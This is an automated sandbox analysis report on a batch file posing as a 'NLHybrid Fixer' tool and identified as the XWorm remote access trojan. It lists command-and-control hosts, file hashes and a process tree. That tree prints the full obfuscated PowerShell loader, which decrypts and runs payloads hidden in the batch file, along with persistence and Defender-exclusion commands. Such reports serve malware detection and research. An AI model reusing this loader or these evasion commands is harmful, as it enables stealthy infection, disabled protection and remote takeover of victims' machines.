Analysis

  • max time kernel
    1339s
  • max time network
    1161s
  • platform
    windows10-ltsc 2021_x64
  • resource
    win10ltsc2021-20241023-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20241023-enlocale:en-usos:windows10-ltsc 2021-x64system
  • submitted
    12-11-2024 06:18

General

  • Target

    NLHybrid Fixer.bat

  • Size

    291KB

  • MD5

    734fdc5c211a7b1fe3a5101c3b0aafd6

  • SHA1

    3d8b84678e674a5b4b49ad4ee4669179d16b75d0

  • SHA256

    0682cfbf0f7c1425a627a847a7cfbc9d3c7633d8426b6f7800d81e391528167b

  • SHA512

    92b2af4e5dbdeefdad102696b8b6d85c10c2885d0e1bfb3d9b94c0ef8e1dafa488f8c8688504b8cb76e244f6abcd3f093e817f5767ae16daed89f80fcbb1db18

  • SSDEEP

    6144:uoiULBMXvSD+eFkX0TupDOYvaktWHHvdTNb71M943xw:uLULBM47FNuNOWaxvH7m43a

Malware Config

Extracted

Family

xworm

Version

5.0

C2

remote-newest.gl.at.ply.gg:62113

fund-scared.gl.at.ply.gg:62113

Mutex

UrM5eoX12ULh6st6

Attributes
  • Install_directory

    %Userprofile%

  • install_file

    win64updater.exe

aes.plain

Signatures

  • Detect Xworm Payload 4 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Delays execution with timeout.exe 1 IoCs
  • Modifies registry class 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 15 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\NLHybrid Fixer.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:556
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('15dPngye8xc2zrvtzV/w74aCqiEwBCPIQU+QvJpDDdI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rYfQCcxwv9En0wj3TE+fMw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $AIFyt=New-Object System.IO.MemoryStream(,$param_var); $lMkeE=New-Object System.IO.MemoryStream; $SZECh=New-Object System.IO.Compression.GZipStream($AIFyt, [IO.Compression.CompressionMode]::Decompress); $SZECh.CopyTo($lMkeE); $SZECh.Dispose(); $AIFyt.Dispose(); $lMkeE.Dispose(); $lMkeE.ToArray();}function execute_function($param_var,$param2_var){ $tWijb=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ZXwwn=$tWijb.EntryPoint; $ZXwwn.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\NLHybrid Fixer.bat';$GwBNZ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\NLHybrid Fixer.bat').Split([Environment]::NewLine);foreach ($aCkBV in $GwBNZ) { if ($aCkBV.StartsWith(':: ')) { $ggoTJ=$aCkBV.Substring(3); break; }}$payloads_var=[string[]]$ggoTJ.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:564
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_912_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_912.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3856
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_912.vbs"
        3⤵
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:1656
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_912.bat" "
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1148
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('15dPngye8xc2zrvtzV/w74aCqiEwBCPIQU+QvJpDDdI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rYfQCcxwv9En0wj3TE+fMw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $AIFyt=New-Object System.IO.MemoryStream(,$param_var); $lMkeE=New-Object System.IO.MemoryStream; $SZECh=New-Object System.IO.Compression.GZipStream($AIFyt, [IO.Compression.CompressionMode]::Decompress); $SZECh.CopyTo($lMkeE); $SZECh.Dispose(); $AIFyt.Dispose(); $lMkeE.Dispose(); $lMkeE.ToArray();}function execute_function($param_var,$param2_var){ $tWijb=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ZXwwn=$tWijb.EntryPoint; $ZXwwn.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_912.bat';$GwBNZ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_912.bat').Split([Environment]::NewLine);foreach ($aCkBV in $GwBNZ) { if ($aCkBV.StartsWith(':: ')) { $ggoTJ=$aCkBV.Substring(3); break; }}$payloads_var=[string[]]$ggoTJ.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Drops startup file
            • Adds Run key to start application
            • Suspicious behavior: AddClipboardFormatListener
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:4920
            • C:\Users\Admin\AppData\Local\Temp\NLHybrid Fixer.exe
              "C:\Users\Admin\AppData\Local\Temp\NLHybrid Fixer.exe"
              6⤵
              • Executes dropped EXE
              PID:408
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:1756
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:4988
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\win64updater.exe'
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:4512
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'win64updater.exe'
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:1916
            • C:\Windows\System32\schtasks.exe
              "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "win64updater" /tr "C:\Users\Admin\win64updater.exe"
              6⤵
              • Scheduled Task/Job: Scheduled Task
              PID:1208
            • C:\Windows\System32\schtasks.exe
              "C:\Windows\System32\schtasks.exe" /delete /f /tn "win64updater"
              6⤵
                PID:2168
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpF676.tmp.bat""
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:2592
                • C:\Windows\system32\timeout.exe
                  timeout 3
                  7⤵
                  • Delays execution with timeout.exe
                  PID:1492

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      3KB

      MD5

      3eb3833f769dd890afc295b977eab4b4

      SHA1

      e857649b037939602c72ad003e5d3698695f436f

      SHA256

      c485a6e2fd17c342fca60060f47d6a5655a65a412e35e001bb5bf88d96e6e485

      SHA512

      c24bbc8f278478d43756807b8c584d4e3fb2289db468bc92986a489f74a8da386a667a758360a397e77e018e363be8912ac260072fa3e31117ad0599ac749e72

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      3f2f758653c2f4563394d18aba36684e

      SHA1

      282a04424cebb1fca531d1232bb83466429e9e7d

      SHA256

      f0e099dc730384a3063075893323f3cc51b617819865239902911a58e19428ea

      SHA512

      3af0a8f7c4049f1e86ca89f15358b9b4065f9848401916af6b1f1b91a15dca71d31ed9b491856d7d88c3622e27992061bf38f5174c31bb51fca79d110599c611

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      32be9b13143c056a85df7bf948ae4778

      SHA1

      36baf529bc3a034344d8d2fe2d82c814c53e8b6c

      SHA256

      f896b3276cb29751b872e4e37e970a87be7be09b0986331b36a0d8a431a144a5

      SHA512

      6cdf4448008f8a2903857e173e87af20ca0e5169c7da477c3eb4d2549b82d588550951b2edc7478d4efacbea7414f89d67b0fa841c26c81df7286f0d4c5798a1

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      c675f5b98b62f8b658bff396ad043232

      SHA1

      235e4fac41dace14246a4ac60aab93b204d39194

      SHA256

      01d3d2f21d4a10517c109c33266fb1883a69d3e69044af66d843f7c80f8c6ec2

      SHA512

      88bafc336899c24a9e320c1af0038de8a7b9e63dbd89cdacb9557130bdb46d6b24a9b08826a918c40cd07c0211073c7003994b9a33964b14faddff42f2ff9429

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      f0b4c753070e7ae6269b0706626942e3

      SHA1

      201236b71ef5dd72b224d9d1dcc96ef6c20cdbd9

      SHA256

      0779424800c7c6d0f29de4125f183ff463d14c110e74c976defb93cd302703e2

      SHA512

      9834d4f27f3be7e308b2802f55b792ee73cc0750d3af6be94e0da180b68a03214d0864f738a6f6436d430b2e3add83067aca6b30eb71268552a9f4272b21a420

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      26c94c408a5a2e1e04f1191fc2902d3e

      SHA1

      ce50b153be03511bd62a477abf71a7e9f94e68a5

      SHA256

      86ad00a425874b935cc725f83780add09d08d7dc9cbfb705821955fe937c05ec

      SHA512

      70e7bc620b369d7d0fcf06f93da000819bf089a502f1014641ad14d56ead22f31c25b97363296fd3749c63bde6db3bf115b33504b160485d792e1331c337b586

    • C:\Users\Admin\AppData\Local\Temp\NLHybrid Fixer.exe

      Filesize

      42KB

      MD5

      269085c7755574a5cd840b298a0b4a55

      SHA1

      3b20a9f3c0e5ed34d37c5c915c07fd93da7d7cbd

      SHA256

      ee94f31406ba029502b3737f9d2c2d2d22448643deaa3095239a55b58b9169c8

      SHA512

      47b5782e53cf03bb5eb8f96584b9e0608bc10038b8721761bf67af75ed0b77a2e51ef94a9d62302e6e0d45885e72d47b80815caa8c063a616d50b646885b5f65

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uuo3k1vn.ppm.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\tmpF676.tmp.bat

      Filesize

      171B

      MD5

      5e906dc53882f582d343a5f87ec5d826

      SHA1

      122ebac69682daa585617ed8329e531b9e40b641

      SHA256

      8fe3f821e31ce1ec7b42f7f97165a5c761075e96250e21163eb0caec1aa6c046

      SHA512

      fddb17aaef9b6ac44b105651b85e70e9de0027422006af17766f8ffd83532c4641499bd2d3bba367fc10c36e73969f5cc53865bbbe86984f0f283211cbfd9c9a

    • C:\Users\Admin\AppData\Roaming\startup_str_912.vbs

      Filesize

      115B

      MD5

      175581b72bf9c75f538001f6e9cdc1cc

      SHA1

      93889f026186aa5d45a18d572cdd8139c929adf1

      SHA256

      3bc02559d00362aaa66fb44cb9f912d7202584dc40618d11a25967f39a83b5e1

      SHA512

      4fba99631fc3b3b797bd85a2c11ad4fd9f0286dfa927939af6dc9b66f215874b0b57984b3963594a01b243280a805254a5fe9cdb0ba0db519f728cd7f2b6ce81

    • memory/408-70-0x0000000000030000-0x0000000000040000-memory.dmp

      Filesize

      64KB

    • memory/564-65-0x00007FFFBBE23000-0x00007FFFBBE25000-memory.dmp

      Filesize

      8KB

    • memory/564-71-0x00007FFFBBE20000-0x00007FFFBC8E2000-memory.dmp

      Filesize

      10.8MB

    • memory/564-1-0x0000017731BE0000-0x0000017731C02000-memory.dmp

      Filesize

      136KB

    • memory/564-11-0x00007FFFBBE20000-0x00007FFFBC8E2000-memory.dmp

      Filesize

      10.8MB

    • memory/564-12-0x00007FFFBBE20000-0x00007FFFBC8E2000-memory.dmp

      Filesize

      10.8MB

    • memory/564-13-0x00007FFFBBE20000-0x00007FFFBC8E2000-memory.dmp

      Filesize

      10.8MB

    • memory/564-14-0x0000017731E50000-0x0000017731E58000-memory.dmp

      Filesize

      32KB

    • memory/564-0-0x00007FFFBBE23000-0x00007FFFBBE25000-memory.dmp

      Filesize

      8KB

    • memory/564-69-0x00007FFFBBE20000-0x00007FFFBC8E2000-memory.dmp

      Filesize

      10.8MB

    • memory/564-15-0x0000017731E60000-0x0000017731E9E000-memory.dmp

      Filesize

      248KB

    • memory/3856-32-0x00007FFFBBE20000-0x00007FFFBC8E2000-memory.dmp

      Filesize

      10.8MB

    • memory/3856-17-0x00007FFFBBE20000-0x00007FFFBC8E2000-memory.dmp

      Filesize

      10.8MB

    • memory/3856-27-0x00007FFFBBE20000-0x00007FFFBC8E2000-memory.dmp

      Filesize

      10.8MB

    • memory/3856-28-0x00007FFFBBE20000-0x00007FFFBC8E2000-memory.dmp

      Filesize

      10.8MB

    • memory/3856-29-0x00007FFFBBE20000-0x00007FFFBC8E2000-memory.dmp

      Filesize

      10.8MB

    • memory/4920-54-0x0000024269390000-0x00000242693A0000-memory.dmp

      Filesize

      64KB